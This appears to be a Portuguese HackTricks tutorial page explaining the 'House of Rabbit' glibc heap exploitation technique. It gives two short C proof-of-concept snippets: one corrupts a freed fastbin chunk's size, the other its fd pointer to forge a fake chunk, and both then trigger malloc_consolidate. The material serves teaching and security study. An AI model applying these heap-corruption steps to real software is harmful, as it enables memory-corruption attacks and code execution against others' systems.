6 KiB
House of Rabbit
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Requisitos
- Capacidade de modificar o ponteiro fd do fast bin ou tamanho: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
- Capacidade de acionar
malloc_consolidate
: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks.
Objetivos
- Criar chunks sobrepostos: Para ter um chunk sobreposto a outro, permitindo mais manipulações do heap.
- Forjar chunks falsos: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante as operações do heap.
Etapas do ataque
POC 1: Modificar o tamanho de um chunk do fast bin
Objetivo: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
- Etapa 1: Alocar Chunks
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Alocamos dois chunks de 0x40 bytes cada. Esses chunks serão colocados na lista de fast bin uma vez liberados.
- Passo 2: Liberar Chunks
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Nós liberamos ambos os chunks, adicionando-os à lista fastbin.
- Passo 3: Modificar o Tamanho do Chunk
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Mudamos os metadados de tamanho de chunk1
para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
- Passo 4: Acionar
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco aciona a função malloc_consolidate
, mesclando pequenos blocos no fast bin. O tamanho manipulado de chunk1
faz com que ele se sobreponha a chunk2
.
Após a consolidação, chunk1
se sobrepõe a chunk2
, permitindo uma exploração adicional.
POC 2: Modificar o ponteiro fd
Objetivo: Criar um bloco falso manipulando o ponteiro fd
do fast bin.
- Passo 1: Alocar Blocos
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explicação: Alocamos dois chunks, um menor e um maior, para preparar o heap para o chunk falso.
- Passo 2: Criar chunk falso
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Escrevemos metadados de chunk falsos em chunk2
para simular chunks menores.
- Passo 3: Liberar
chunk1
free(chunk1); // Frees the chunk at 0x602000
Explicação: Liberamos chunk1
, adicionando-o à lista fastbin.
- Passo 4: Modificar
fd
dechunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explicação: Mudamos o ponteiro para frente (fd
) do chunk1
para apontar para nosso chunk falso dentro do chunk2
.
- Passo 5: Acionar
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco novamente aciona malloc_consolidate
, que processa o bloco falso.
O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional.
Resumo
A técnica House of Rabbit envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro fd
para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.